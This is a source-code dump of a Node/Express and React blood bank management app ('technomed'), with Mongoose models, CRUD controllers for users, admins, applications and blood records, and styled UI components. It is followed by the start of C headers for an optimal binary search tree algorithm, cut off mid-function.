exports.updateUserById = async (req, res) => {
const { id } = req.params;
const updatedData = { ...req.body };
Users.findByIdAndUpdate(id, { $set: updatedData }, { new: true })
.then((User) => {
res.json(User);
})
.catch((err) => res.send(err));
};
exports.changeUserAuth = async (req, res) => {
const { id } = req.params;
const { email, password } = req.body;
console.log(req.body);
const hash = await bcrypt.hash(password, 8);
Users.find({ email })
.then((User) => {
console.log(User);
if ((User.length && User[0]._id == id) || !User.length) {
console.log("Success");
Users.findByIdAndUpdate(
id,
{ $set: { email, password: <PASSWORD> } },
{ new: true }
)
.then(() => res.json({ success: true }))
.catch((err) => res.json({ success: false, msg: err.message }));
} else if (User.length && User[0]._id != id) {
res.json({
success: false,
msg: `You can't use the email. Another user has been registered with '${email}'`,
});
}
})
.catch((err) => res.json({ success: false, msg: err.message }));
};
exports.deleteUserById = (req, res) => {
const { id } = req.params;
Users.findByIdAndRemove(id)
.then(() => {
res.json({ success: true, msg: "Successfully deleted" });
})
.catch((err) => res.send(err));
};
<file_sep>/server/routes/appPersons.js
const express = require("express");
const router = express.Router();
const controllers = require("../controllers/appPersons");
/* GET home page. */
router.get("/", controllers.fetchAllAppPersons);
router.post("/", controllers.createAppPerson);
router.get("/:id", controllers.fetchAppPersonById);
router.post("/:id/edit", controllers.updateAppPersonById);
router.get("/:id/delete", controllers.deleteAppPersonById);
module.exports = router;
<file_sep>/server/models/appPersons.js
const mongoose = require("mongoose");
const { Schema } = mongoose;
const appPersonsSchema = new Schema({
name: String,
history: Number,
diagnos: String,
donorBloodGroup: String,
resusFaktor: String,
erMassa: Number,
szp: Number,
yubQon: Number,
qonTarkibi: String,
trom: Number,
alb10: Number,
alb20: Number,
krio: Number,
cc: Number,
ac: Number,
createdAt: {
default: Date.now(),
type: Number,
},
updatedAt: {
default: Date.now(),
type: Number,
},
});
appPersonsSchema.index({ name: 1 });
const AppPerson = mongoose.model("AppPerson", appPersonsSchema);
module.exports = AppPerson;
<file_sep>/server/controllers/admins.js
const bcrypt = require("bcrypt");
const Admins = require("../models/admins");
const baseUrl = process.env.REACT_APP_baseUrl || "";
exports.fetchAllAdmins = (req, res) => {
Admins.find()
.then((admins) => res.json(admins))
.catch((err) => res.send(err));
};
exports.fetchAdminById = (req, res) => {
const { id } = req.params;
Admins.findById(id)
.then((Admin) => {
res.json(Admin);
})
.catch((err) => res.send(err));
};
exports.deleteAllAdmins = (req, res) => {
Admins.deleteMany()
.then(() => res.json("Deleted"))
.catch((err) => res.send(err));
};
exports.createAdmin = async (req, res) => {
const { name, createdAt, password, email } = req.body;
const hashedPassword = await bcrypt.hash(password, 8);
const Admin = new Admins({
...req.body,
password: <PASSWORD>,
});
Admin.save()
.then((Admin) => {
res.json(Admin);
})
.catch((err) => {
const msg =
err.code === 11000
? `Users with "${email}" email adress exists`
: err.errmsg;
res.json({ success: false, msg });
});
};
exports.updateAdminById = async (req, res) => {
const { id } = req.params;
const updatedData = { ...req.body };
Admins.findByIdAndUpdate(id, { $set: updatedData }, { new: true })
.then((Admin) => {
res.json(Admin);
})
.catch((err) => res.send(err));
};
exports.changeAdminAuth = async (req, res) => {
const { id } = req.params;
const { email, password } = req.body;
const hash = await bcrypt.hash(password, 8);
Admins.find({ email })
.then((Admin) => {
if ((Admin.length && Admin[0]._id == id) || !Admin.length) {
Admins.findByIdAndUpdate(
id,
{ $set: { email, password: <PASSWORD> } },
{ new: true }
)
.then(() => res.json({ success: true }))
.catch((err) => res.json({ success: false, msg: err.message }));
} else if (Admin.length && Admin[0]._id != id) {
res.json({
success: false,
msg: `You can't use the email. Another user has been registered with '${email}'`,
});
}
})
.catch((err) => res.json({ success: false, msg: err.message }));
};
exports.deleteAdminById = (req, res) => {
const { id } = req.params;
Admins.findByIdAndRemove(id)
.then(() => {
res.json({ success: true, msg: "Successfully deleted" });
})
.catch((err) => res.send(err));
};
<file_sep>/client/src/containers/Applications/Applications.js
import React, { Component } from "react";
import Axios from "../../utils/axios";
import { Table } from "antd";
import { StyledApp } from "../../styles/pages/app";
import { AiFillFileText, AiOutlineUserAdd } from "react-icons/ai";
import ReactExport from "react-data-export";
import { Button } from "../../styles/buttons";
const ExcelFile = ReactExport.ExcelFile;
const ExcelSheet = ReactExport.ExcelFile.ExcelSheet;
const ExcelColumn = ReactExport.ExcelFile.ExcelColumn;
class Applications extends Component {
constructor(props) {
super(props);
this.state = { name: "", email: "", img: "", data: [] };
}
componentDidMount() {
Axios.get("/applications")
.then((res) => this.setState({ data: res.data }))
.catch((err) => console.log(err));
}
render() {
console.log(this.state);
const { data } = this.state;
const columns = [
{ title: "Id", dataIndex: "id", key: "id" },
{ title: "Vrach", dataIndex: "vrach", key: "name" },
{ title: "Bo'lim boshlig'i", dataIndex: "leaderSection", key: "email" },
{ title: "Status", dataIndex: "status", key: "status" },
{
title: "Action",
dataIndex: "",
key: "x",
render: (record) => (
<a
onClick={() =>
Axios.get("/applications/" + record._id + "/delete")
.then((res) => {
console.log(res.data);
this.props.history.push(`/applications`);
})
.catch((err) => console.log(err))
}
>
Delete
</a>
),
},
];
return (
<StyledApp>
<div className="top-app">
<h2>Talabnomalar ro'yxati</h2>
<Button
width="170px"
status="warning"
className="add-app"
onClick={() => this.props.history.push("/applications/new")}
>
<AiOutlineUserAdd />
<span style={{ marginLeft: "8px" }}>Application</span>
</Button>
</div>
<Table columns={columns} dataSource={data} />
<ExcelFile element={<button>Download Applications</button>}>
<ExcelSheet data={data} name="Applications">
<ExcelColumn label="id" value="id" />
<ExcelColumn label="Vrach" value="vrach" />
<ExcelColumn label="leaderSection" value="leaderSection" />
<ExcelColumn label="UpdatedAt" value="updatedAt" />
<ExcelColumn
label="appPersons"
value={(col) =>
col.appPersons &&
col.appPersons.map((item) => (
<>
<ExcelColumn
label="Application person"
value={item.name}
key={item.name}
/>
{/* <ExcelColumn
label="Application person"
value={item.diagnos}
key={item.diagnos}
/> */}
</>
))
}
/>
</ExcelSheet>
</ExcelFile>
</StyledApp>
);
}
}
export default Applications;
<file_sep>/server/models/admins.js
const mongoose = require("mongoose");
const { Schema } = mongoose;
const adminsSchema = new Schema({
address: String,
email: {
required: true,
type: String,
unique: true,
},
name: String,
password: {
required: true,
type: String,
},
phone: String,
type: {
default: "admin",
type: String,
},
});
adminsSchema.index({ email: 1 });
const Admins = mongoose.model("Admin", adminsSchema);
module.exports = Admins;
<file_sep>/server/utils/index.js
const fs = require("fs");
const path = require("path");
exports.deleteImg = (img) => {
let dir = `../public${img}`;
if (process.env.NODE_ENV !== "development") {
dir = `/var/www/${img}/`;
}
const imgPath = path.join(__dirname, dir);
if (fs.existsSync(imgPath) && img) {
fs.unlinkSync(imgPath);
}
};
exports.authHandler = (req, res, next) => {
const whiteList = [
"/auth/sign-in",
"/auth/sign-up",
// "/dashboard",
// "/users",
// "/bloods",
];
console.log(req.session, req.url);
if (!whiteList.includes(req.url)) {
const { userId, loggedIn } = req.session;
if (userId && loggedIn) {
return next();
}
return res.json({
type: "auth",
msg: "You need to login/sign up first",
success: false,
});
}
return next();
};
<file_sep>/server/controllers/auth.js
const bcrypt = require("bcrypt");
const Users = require("../models/users");
const Admins = require("../models/admins");
exports.signIn = async (req, res) => {
const { email, password, type } = req.body;
if (type === "user") {
try {
const admin = await Users.findOne({ email });
if (admin) {
const { password: hash, _id, name } = admin;
const isPasswordCorreect = await bcrypt.compare(password, hash);
if (isPasswordCorreect) {
req.session.userId = _id;
req.session.userType = type;
req.session.userName = name;
req.session.userEmail = email;
req.session.loggedIn = true;
res.json({ payload: admin, success: true });
} else {
res.json({ msg: "Username or password is wrong", success: false });
}
} else {
res.json({
msg: `No user exist with user name ${email}`,
success: false,
});
}
} catch (err) {
res.json({ msg: err.message, success: false });
}
} else {
try {
const seller = await Admins.findOne({ email });
if (seller) {
const { password: hash, _id, name } = seller;
const isPasswordCorreect = await bcrypt.compare(password, hash);
if (isPasswordCorreect) {
req.session.userId = _id;
req.session.userType = type;
req.session.userName = name;
req.session.userEmail = email;
req.session.loggedIn = true;
res.json({ payload: seller, success: true });
} else {
res.json({ msg: "Username or password is wrong", success: false });
}
} else {
res.json({
msg: `No user exist with user name ${email}`,
success: false,
});
}
} catch (err) {
res.json({ msg: err.message, success: false });
}
}
};
exports.signUp = async (req, res) => {
const { password, type, email } = req.body;
const hashedPassword = bcrypt.hashSync(password, 8);
console.log("working", hashedPassword);
if (type === "user") {
try {
const admin = await Users.create({
...req.body,
password: <PASSWORD>,
});
req.session.userId = admin._id;
req.session.userType = admin.type;
req.session.userName = admin.name;
req.session.userEmail = admin.email;
req.session.loggedIn = true;
res.json({ payload: admin, success: true });
} catch (err) {
const msg =
err.code === 11000
? `Users with "${email}" email adress is exist`
: err.message;
res.json({ success: false, msg });
}
} else {
try {
const seller = await Admins.create({
...req.body,
password: <PASSWORD>,
});
req.session.userId = seller._id;
req.session.userType = seller.type;
req.session.userName = seller.name;
req.session.userEmail = seller.email;
req.session.loggedIn = true;
res.json({ payload: seller, success: true });
} catch (err) {
const msg =
err.code === 11000
? `Users with "${email}" email adress is exist`
: err.message;
res.json({ success: false, msg });
}
}
};
exports.signOut = (req, res) => {
req.session.userId = null;
req.session.userType = null;
req.session.userName = null;
req.session.email = null;
req.session.loggedIn = false;
req.session.destroy();
res.json({ msg: "Sign out has been successfull" });
};
<file_sep>/server/controllers/applications.js
const Applications = require("../models/applications");
const baseUrl = process.env.REACT_APP_baseUrl || "";
exports.fetchAllApplications = (req, res) => {
Applications.find()
.populate("appPersons")
.then((applications) => res.json(applications))
.catch((err) => res.send(err));
};
exports.fetchApplicationById = (req, res) => {
const { id } = req.params;
Applications.findById(id)
.then((application) => {
res.json(application);
})
.catch((err) => res.send(err));
};
exports.deleteAllApplications = (req, res) => {
Applications.deleteMany()
.then(() => res.json("Deleted"))
.catch((err) => res.send(err));
};
exports.createApplication = async (req, res) => {
const Application = new Applications({
...req.body,
});
Application.save()
.then((application) => {
res.json(application);
})
.catch((err) => {
res.json({ success: false });
});
};
exports.updateApplicationById = async (req, res) => {
const { id } = req.params;
const updatedData = { ...req.body };
Applications.findByIdAndUpdate(id, { $set: updatedData }, { new: true })
.then((application) => {
res.json(application);
})
.catch((err) => res.send(err));
};
exports.deleteApplicationById = (req, res) => {
const { id } = req.params;
Applications.findByIdAndRemove(id)
.then(() => {
res.json({ success: true, msg: "Successfully deleted" });
})
.catch((err) => res.send(err));
};
<file_sep>/client/src/containers/Bloods/Bloods_Add.js
import React, { Component } from "react";
import Axios from "../../utils/axios";
class BloodsAdd extends Component {
constructor(props) {
super(props);
this.state = { name: "", email: 222, img: "" };
}
formHandler = (e) => {
e.preventDefault();
const { name, password, email } = this.state;
const formData = new FormData();
formData.append("name", name);
formData.append("password", <PASSWORD>);
formData.append("email", email);
formData.append("img", this.fileRef.files[0]);
Axios.post("/admins/5e27ec35f776429022a1aed8/edit", formData)
.then((res) => console.log(res.data))
.catch((err) => console.log(err));
};
render() {
console.log(this.state);
return (
<div>
<div>
<input
type="text"
name="name"
onChange={(e) => this.setState({ name: e.target.value })}
/>
</div>
<div>
<input
type="text"
name="email"
onChange={(e) => this.setState({ email: e.target.value })}
/>
</div>
<div>
<input
type="text"
name="password"
onChange={(e) => this.setState({ password: e.target.value })}
/>
</div>
<div>
<input
type="file"
name="img"
multiple
accept="image/*"
ref={(el) => (this.fileRef = el)}
onChange={(e) => this.setState({ img: e.target.value })}
/>
</div>
<button onClick={this.formHandler}>Send</button>
</div>
);
}
}
export default BloodsAdd;
<file_sep>/server/controllers/appPersons.js
const AppPersons = require("../models/appPersons");
exports.fetchAllAppPersons = (req, res) => {
AppPersons.find()
.then((AppPersons) => res.json(AppPersons))
.catch((err) => res.send(err));
};
exports.fetchAppPersonById = (req, res) => {
const { id } = req.params;
AppPersons.findById(id)
.then((AppPerson) => {
res.json(AppPerson);
})
.catch((err) => res.send(err));
};
exports.deleteAllAppPersons = (req, res) => {
AppPersons.deleteMany()
.then(() => res.json("Deleted"))
.catch((err) => res.send(err));
};
exports.createAppPerson = async (req, res) => {
const AppPerson = new AppPersons({
...req.body,
});
AppPerson.save()
.then((AppPerson) => {
res.json(AppPerson);
})
.catch((err) => {
res.json({ success: false });
});
};
exports.updateAppPersonById = async (req, res) => {
const { id } = req.params;
const updatedData = { ...req.body };
AppPersons.findByIdAndUpdate(id, { $set: updatedData }, { new: true })
.then((AppPerson) => {
res.json(AppPerson);
})
.catch((err) => res.send(err));
};
exports.deleteAppPersonById = (req, res) => {
const { id } = req.params;
AppPersons.findByIdAndRemove(id)
.then(() => {
res.json({ success: true, msg: "Successfully deleted" });
})
.catch((err) => res.send(err));
};
<file_sep>/server/routes/application.js
const express = require("express");
const router = express.Router();
const controllers = require("../controllers/applications");
/* GET home page. */
router.get("/", controllers.fetchAllApplications);
router.post("/", controllers.createApplication);
router.get("/:id", controllers.fetchApplicationById);
router.post("/:id/edit", controllers.updateApplicationById);
router.get("/:id/delete", controllers.deleteApplicationById);
module.exports = router;
<file_sep>/client/src/containers/Bloods/Bloods_List.js
import React, { Component } from "react";
import Axios from "../../utils/axios";
import { Table } from "antd";
import "antd/dist/antd.css";
const columns = [
{
title: "Дата пост",
dataIndex: "dateCome",
key: "dateCome",
width: 100,
fixed: "left",
onFilter: (value, record) => record.name.indexOf(value) === 0,
},
{
title: "№ гемакона",
dataIndex: "gemakone",
key: "gemakone",
width: 100,
fixed: "left",
},
{
title: "<NAME>",
dataIndex: "donorName",
key: "donorName",
width: 100,
fixed: "left",
},
{
title: "Группа крови донора",
dataIndex: "donorBloodGroup",
key: "donorBloodGroup",
width: 100,
fixed: "left",
},
{
title: "Rh-фактор крови донора",
dataIndex: "resusFaktor",
key: "resusFaktor",
width: 100,
fixed: "left",
},
{
title:
"Наименование и кол-во компонентов (препарата) крови и в гемоконтейнере.л",
children: [
{
title: "Эр.М",
dataIndex: "erMassa",
key: "erMassa",
width: 100,
sorter: (a, b) => a.erMassa - b.erMassa,
},
{
title: "СЗП",
dataIndex: "szp",
key: "szp",
width: 100,
sorter: (a, b) => a.szp - b.szp,
},
{
title: "обл.эр.м",
dataIndex: "oblErM",
key: "oblErM",
width: 100,
sorter: (a, b) => a.oblErM - b.oblErM,
},
{
title: "Отм.Эр",
dataIndex: "otmEr",
key: "otmEr",
width: 100,
sorter: (a, b) => a.otmEr - b.otmEr,
},
{
title: "Разм эр.м",
dataIndex: "azmEr",
key: "azmEr",
width: 100,
sorter: (a, b) => a.azmEr - b.azmEr,
},
{
title: "ТК",
dataIndex: "tk",
key: "tk",
width: 100,
sorter: (a, b) => a.tk - b.tk,
},
{
title: "альб 10%",
dataIndex: "abl10",
key: "abl10",
width: 100,
sorter: (a, b) => a.abl10 - b.abl10,
},
{
title: "альб20%",
dataIndex: "abl20",
key: "abl20",
width: 100,
sorter: (a, b) => a.abl20 - b.abl20,
},
{
title: "Крио",
dataIndex: "krio",
key: "krio",
width: 100,
sorter: (a, b) => a.krio - b.krio,
},
{
title: "с/с",
dataIndex: "cc",
key: "cc",
width: 100,
sorter: (a, b) => a.cc - b.cc,
},
{
title: "а/с",
dataIndex: "ac",
key: "ac",
width: 100,
sorter: (a, b) => a.ac - b.ac,
},
{
title: "Дата заготовки компонента (препарата) крови",
dataIndex: "dateTake",
key: "dateTake",
width: 100,
sorter: (a, b) => a.dateTake - b.dateTake,
},
{
title: "Куда выдана",
dataIndex: "dateGo",
key: "dateGo",
width: 100,
sorter: (a, b) => a.dateGo - b.dateGo,
},
{
title: "Наименование ЛПУ отд-ия",
dataIndex: "lpu",
key: "lpu",
width: 100,
sorter: (a, b) => a.lpu - b.lpu,
},
],
},
{
title: "Ф.И.О. врача перелившего компонента (препарата) крови.",
dataIndex: "vrach",
key: "vrach",
width: 120,
fixed: "right",
},
];
class Bloods_List extends Component {
constructor(props) {
super(props);
this.state = { name: "", email: 222, img: "", data: [] };
}
async componentDidMount() {
// const { _id } = this.props.match.params;
const res = await Axios.get(`/bloods`);
if (res.data) {
this.setState({ data: res.data });
}
}
render() {
console.log(this.state);
const { data } = this.state;
return (
<div>
<h2>Qonlar ro'yxati</h2>
<Table
columns={columns}
dataSource={data}
bordered
size="middle"
scroll={{ x: "calc(700px + 50%)", y: 240 }}
/>
</div>
);
}
}
export default Bloods_List;
<file_sep>/client/src/styles/header.js
import styled from "styled-components";
import cornerTop from "../assets/header/corner-top.svg";
import cornerBottom from "../assets/header/corner-bottom.svg";
const Header = styled.header`
width: 200px;
height: 100%;
min-height: 100vh;
position: fixed;
top: 0;
bottom: 0;
left: 0;
background: var(--redish);
color: var(--white);
box-shadow: var(--box-shadow);
z-index: 1050;
overflow-y: auto;
scroll-behavior: smooth;
#brand {
font-size: 10px;
padding: 10px 0;
}
#brand a {
color: var(--blue);
}
&::-webkit-scrollbar {
width: 0px;
}
&::-webkit-scrollbar-track {
/* box-shadow: inset 0 0 5px grey; */
border-radius: 10px;
}
&::-webkit-scrollbar-thumb {
background: linear-gradient(
to bottom,
transparent 60px,
#00be4c 61px,
#00be4c 90px,
transparent 10px
);
border-radius: 10px;
}
ul {
padding: 0px;
display: flex;
flex-direction: column;
min-height: calc(100vh - 100px);
}
@media (max-width: 1024px) {
& {
width: 70px;
box-shadow: none;
overflow-x: hidden;
}
#brand span {
display: none;
}
}
`;
const Brand = styled.div`
position: sticky;
top: 0;
height: 60px;
background: var(--redish);
text-align: center;
line-height: 60px;
text-decoration: none;
font-weight: 700;
#logo {
display: block;
height: 100%;
width: 90%;
padding: 5px 0;
margin: auto;
max-width: 120px;
}
#logo-short {
display: none;
}
@media (max-width: 1024px) {
& {
background: var(--white);
}
#logo-extend {
display: none;
}
#logo-short {
display: block;
width: 40px;
height: 40px;
margin: 5px auto;
}
}
`;
const NavList = styled.li`
margin: 3px 0;
margin-left: 25px;
list-style: none;
a {
position: relative;
display: block;
padding: 8px 20px;
color: var(--white);
text-decoration: none;
transition: 0.3s;
border-top-left-radius: 25px;
border-bottom-left-radius: 25px;
&.active,
&:hover {
background-color: #fff;
transition: 0.5s;
color: var(--dark);
svg {
fill: var(--dark);
}
}
&.active:before {
content: "";
width: 15px;
height: 15px;
position: absolute;
top: -10px;
transform: rotate(24deg);
right: -5px;
background-size: cover;
z-index: 0;
background: url(${cornerTop}) no-repeat center right;
}
&.active:after {
content: "";
width: 15px;
height: 15px;
position: absolute;
bottom: -10px;
transform: rotate(-21deg);
right: -5px;
background-size: cover;
z-index: 0;
background: url(${cornerBottom}) no-repeat center right;
}
}
.exit-btn {
margin-right: 25px;
width: auto;
border: 1px solid #fff;
&:hover {
background: #fff;
color: #000;
}
}
svg {
margin-right: 7px;
vertical-align: middle;
height: 24px;
}
&:last-of-type {
margin-top: auto;
}
&:last-of-type a {
color: var(--danger);
}
@media (max-width: 1024px) {
& {
padding-left: 0;
margin: 3px 10px;
text-align: center;
span {
display: none;
}
a {
padding: 10px;
font-size: 20px;
}
a.active,
a:hover {
border-radius: 10px;
padding: 10px;
}
svg {
margin-right: 0;
}
}
& a.active:after,
& a.active:before {
display: none;
}
&:last-of-type svg {
margin-right: 0;
}
}
`;
const Nav = styled.nav`
position: fixed;
display: flex;
align-items: center;
width: 100%;
height: 60px;
padding-left: 225px;
padding-right: 30px;
background: #fff;
color: var(--main);
border-bottom: 1px solid var(--grey);
line-height: 60px;
z-index: 100;
box-shadow: var(--box-shadow);
.links {
display: flex;
align-items: center;
justify-content: space-evenly;
height: 30px;
margin: 0 3px;
padding: 3px 2px;
text-decoration: none;
color: var(--main);
}
.links svg {
stroke: var(--success);
}
.profile-img {
display: flex;
margin-left: 5px;
align-items: center;
text-decoration: none;
color: var(--main);
}
.profile-img img {
width: 34px;
height: 34px;
border-radius: 50%;
box-shadow: var(--box-shadow);
padding: 2px;
margin-left: 3px;
}
select {
-webkit-appearance: none;
text-align: center;
padding: 3px 8px;
border: none;
background: none;
outline: none;
font-size: 14px;
color: var(--main);
}
small {
line-height: 1;
}
@media (max-width: 991px) {
& {
padding-left: 105px;
}
}
`;
const Input = styled.input`
width: ${(props) => props.width || "100%"};
height: 35px;
display: inline-block;
padding: 7px 10px 7px 20px;
font-size: 16px;
border-radius: 20px;
border: 1px solid var(--grey);
background-color: var(--bg-light);
outline: none;
&:focus {
border: 1px solid var(--redish);
background-color: var(--white);
}
@media (max-width: 550px) {
& {
display: none;
}
}
`;
export { Header, Brand, NavList, Nav, Input };
<file_sep>/server/routes/admins.js
const express = require("express");
const router = express.Router();
const controllers = require("../controllers/admins");
/* GET home page. */
router.get("/", controllers.fetchAllAdmins);
router.post("/", controllers.createAdmin);
router.get("/:id", controllers.fetchAdminById);
router.post("/:id/edit", controllers.updateAdminById);
router.delete("/:id/delete", controllers.deleteAdminById);
router.post("/:id/change-auth", controllers.changeAdminAuth);
module.exports = router;
<file_sep>/server/controllers/bloods.js
const Bloods = require("../models/bloods");
exports.fetchAllBloods = (req, res) => {
Bloods.find()
.then((data) => res.json(data))
.catch((err) => res.send(err));
};
exports.fetchBloodsById = (req, res) => {
const { id } = req.params;
Bloods.findById(id)
.then((data) => {
res.json(data);
})
.catch((err) => res.send(err));
};
exports.deleteAllBloods = (req, res) => {
Bloods.deleteMany()
.then(() => res.json("Deleted"))
.catch((err) => res.send(err));
};
exports.createNewBloods = async (req, res) => {
const { createdAt } = req.body;
Bloods.create({ ...req.body })
.then((data) => {
res.json({ success: true, payload: data, msg: "course_created" });
})
.catch((err) => {
res.json({ success: false, msg: err.message });
});
};
exports.updateBloodsById = async (req, res) => {
const { id } = req.params;
const updatedData = { ...req.body };
Bloods.findByIdAndUpdate(id, { $set: updatedData }, { new: true })
.then((data) => {
res.json({
success: true,
payload: data,
msg: "Blood_updated",
});
})
.catch((err) => res.send(err));
};
exports.deleteBloodsById = (req, res) => {
const { id } = req.params;
Bloods.findByIdAndRemove(id)
.then((deletedBlood) => {
Bloods.find()
.sort({ createdAt: -1 })
.then((data) => {
res.json({ success: true, msg: "Blood_deleted", payload: data });
})
.catch((err) => res.json({ success: false, msg: err.message }));
res.json({ success: true, msg: "The Blood has been deleted" });
})
.catch((err) => res.send(err));
};
<file_sep>/client/src/styles/inputs.js
import styled from 'styled-components';
const StyledInputWrapper = styled.div`
display: flex;
align-items: ${props => props.align || 'flex-start'};
justify-content: ${props => props.justify || 'center'};
flex-wrap: wrap;
flex-direction: ${props => props.direction || 'column'};
width: 100%;
position: relative;
overflow: hidden;
margin-bottom: 15px;
.input-icon {
position: absolute;
top: 0;
left: 0;
width: 30px;
height: 100%;
padding: 4px 7px;
background-color: #fff;
color: var(--purpule);
border-right: 1px solid var(--purpule);
}
.input-container {
width: 100%;
position: relative;
border-radius: 4px;
border: 1px solid var(--purpule);
overflow: hidden;
}
`;
const StyledInput = styled.input`
width: ${props => props.width || '100%'};
height: 34px;
padding-left: 40px;
border: none;
color: #000;
&.rounded {
border-radius: 30px;
}
&.small {
height: 28px;
}
&.large {
height: 42px;
}
`;
export { StyledInput, StyledInputWrapper };<file_sep>/README.md
# Project for technomed
1. First run npm install
2. and run npm install in server and client folder
and finally run yarn start in main folder
<file_sep>/client/src/containers/Navbar/Navbar.js
import React from "react";
import { Link } from "react-router-dom";
import { AiOutlineBell } from "react-icons/ai";
import { SearchInput, Nav, FlexWrapper } from "../../styles";
import defaultImg from "../../assets/img/profile.jpg";
const Navbar = (props) => {
const { img, name, type } = props;
return (
<Nav>
<Link
to="/"
className="links"
display="inline-block"
style={{ marginLeft: "auto" }}
>
<AiOutlineBell size="20" />
</Link>
<Link to="/profile" className="profile-img" display="inline-block">
<FlexWrapper fd="column" align="flex-end">
<small>{name || "User"}</small>
<small>{type || "Admin"}</small>
</FlexWrapper>
<img
src={img || defaultImg}
onError={(e) => (e.target.src = defaultImg)}
alt="Profile"
/>
</Link>
</Nav>
);
};
export default Navbar;
<file_sep>/client/src/containers/Header/Header.js
import React, { PureComponent } from "react";
import { Link, withRouter, NavLink } from "react-router-dom";
import { connect } from "react-redux";
import { compose, bindActionCreators } from "redux";
import { signOutAction } from "../../store/Auth/actions";
import {
AiOutlineHome,
AiOutlineUser,
AiOutlinePoweroff,
AiTwotoneBoxPlot,
AiFillUpCircle,
AiTwotoneUpCircle,
} from "react-icons/ai";
import { Header, NavList, Brand, Button } from "../../styles";
import language from "../../lang/header";
import GlobalContext from "../../context/GlobalContext";
class HeaderComponent extends PureComponent {
constructor(props) {
super(props);
this.state = {};
}
static contextType = GlobalContext;
signOutHandler = async () => {
await this.props.signOutAction();
this.props.history.push("/sign-in");
};
render() {
const { lang = "en", userType = "seller" } = this.context;
const { isAdmin } = this.props;
const trans = language[lang];
const URLS = [
{
url: "/",
exact: true,
title: "Dashboard",
icon: <AiOutlineHome />,
},
{
url: "/bloods",
exact: true,
title: "Qonlar",
icon: <AiTwotoneBoxPlot />,
},
{
url: "/applications",
exact: true,
title: "Talabnomalar",
icon: <AiTwotoneUpCircle />,
},
{
url: "/users",
exact: true,
title: "Foydalanuvchilar",
icon: <AiOutlineUser />,
},
];
return (
<Header>
<nav>
<Brand>
<Link to="/" id="logo"></Link>
</Brand>
<ul style={{ padding: 0 }}>
{URLS.map((item) => (
<NavList key={item.url}>
<NavLink
to={item.url}
exact={item.exact}
activeClassName="active"
>
{item.icon}
<span>{item.title}</span>
</NavLink>
</NavList>
))}
<NavList className="text-center">
<Button
className="btn-sm active"
status="danger"
style={{ minWidth: "50px" }}
onClick={this.signOutHandler}
>
<AiOutlinePoweroff />
<span>Sign Out</span>
</Button>
</NavList>
<small className="text-center" id="brand">
{" "}
{/* <span>produced by</span> */}
<a href="https://alitech.uz"><NAME></a>
</small>
</ul>
</nav>
</Header>
);
}
}
const mapDispatchToProps = (dispatch) => {
return bindActionCreators({ signOutAction }, dispatch);
};
export default compose(
withRouter,
connect(null, mapDispatchToProps)
)(HeaderComponent);
<file_sep>/client/src/styles/global.js
import { createGlobalStyle } from 'styled-components';
export default createGlobalStyle`
#spinner-container {
width: 100vw;
height: 100vh;
position: fixed;
left: 0;
z-index: 1200;
background-color: rgb(82 123 221 / 10%);
top: 0;
right: 0;
bottom: 0;
overflow: hidden;
align-items: center;
justify-content: center;
display: none;
&.show {
display: flex;
}
.ant-spin-dot {
font-size: 50px;
}
.ant-spin-dot i {
width: 20px;
height: 20px;
background-color: #0c2461;
opacity: 1;
}
}
.text-left {
text-align: left;
}
.text-right {
text-align: right;
}
.text-center {
text-align: center;
}
.d-flex {
display: flex;
align-items: center;
justify-content: center;
}
.p-30 {
padding: 30px;
}
/* ----Autocomplete----- */
.location-search-input,
.default-input {
width: 100%;
height: 42px;
display: inline-block;
padding: 7px 10px 7px 20px;
font-size: 16px;
border-radius: 20px;
border: 1px solid var(--grey);
background-color: var(--bg-light);
outline: none;
}
.autocomplete-dropdown-container {
background: #fff;
box-shadow: var(--box-shadow);
position: absolute;
top: 45px;
z-index: 99;
width: 100%;
}
.suggestion-item {
padding: 2px 5px;
}
.suggestion-item--active {
padding: 2px 5px;
}
.ant-picker-input {
vertical-align: super;
height: 100%;
}
`;
|
af3451b649c1662e3bbedddeda290b6587b09412
|
[
"JavaScript",
"Markdown"
] | 22
|
JavaScript
|
Akhmadjon-dev/technomed_qonBanki
|
03cf552a83561375dd85c25bd0ea079a164a703b
|
9d362dc092b09fb1f31d009cd6bd5a00a0a97000
|
refs/heads/master
|
<repo_name>akasfei/bugfree-obst<file_sep>/src/models.h
typedef struct DataObject
{
int dataInt;
char dataText[255];
}DataObject;
void swapDataObject (DataObject * obj1, DataObject * obj2)
{
DataObject *temp;
temp = obj1;
obj1 = obj2;
obj2 = temp;
return;
}
DataObject *DO_New_s (char * dataContent)
{
int i, j;
char propertyCache[255];
DataObject *thisData = (DataObject *)malloc(sizeof (DataObject));
for (i=0, j=0; dataContent[i] != '?'; i++, j++)
propertyCache[j] = dataContent[i];
propertyCache[j] = '\0';
thisData->dataInt = atoi(propertyCache);
for (++i, j=0; dataContent[i] != '\n' && dataContent[i] != '\0'; i++, j++)
propertyCache[j] = dataContent[i];
propertyCache[j] = '\0';
strcpy(thisData->dataText, propertyCache);
return thisData;
}
DataObject *DO_New (int dataInt, char * dataText)
{
DataObject *thisData = (DataObject *)malloc(sizeof (DataObject));
thisData->dataInt = dataInt;
strcpy(thisData->dataText, dataText);
return thisData;
}
char * DO_serialize (DataObject obj) {
static char res[80];
sprintf(res, "%d\?%s", obj.dataInt, obj.dataText);
return res;
}
int DO_print (DataObject obj) {
printf("%s\n", DO_serialize(obj));
return 0;
}
<file_sep>/README.md
Bugfree-OBST!
=============
procedure OBST(P,Q,n)
//给定n个标识符a1<a2<…<an。已知成功检索的概率P(i),不成功检索概率Q(i), 0≤i≤n。算法对于标识符ai+1,…,aj计算最优二分检索树Tij的成本C(i,j)、根 R(i,j)、权W(i,j) //
real P(1:n),Q(1:n),C(0:n,0:n),W(0:n,0:n);integer R(0:n,0:n)
for i←0 to n-1 do
(W(i,i), R(i,i), C(i,i))←(Q(i),0,0) //置初值//
(W(i,i+1), R(i,i+1), C(i,i+1))←(Q(i)+Q(i+1)+P(i+1),i+1, Q(i)+Q(i+1)+P(i+1))
repeat //含有一个结点的最优树//
(W(n,n), R(n,n), C(n,n))←(Q(n),0,0)
for m←2 to n do
for i←0 to n-m do
j←i+m
W(i,j) ←W(i,j-1)+P(j)+Q(j)
k←区间[R(i,j-1), R(i+1,j)]中使{C(i,l-1)+C(l,j)}取最小值的l值 //Knuth结论//
C(i,j) ←W(i,j)+C(i,k-1)+C(k,j)
R(i,j)←k
repeat
repeat
end OBST
<file_sep>/src/obst.h
typedef struct OBST_result
{
float ** C;
float ** W;
int ** R;
int n;
}OBST_result;
OBST_result OBST (float * P, float * Q, int n)
{
int i, m, j, l, minl;
float minC;
OBST_result result;
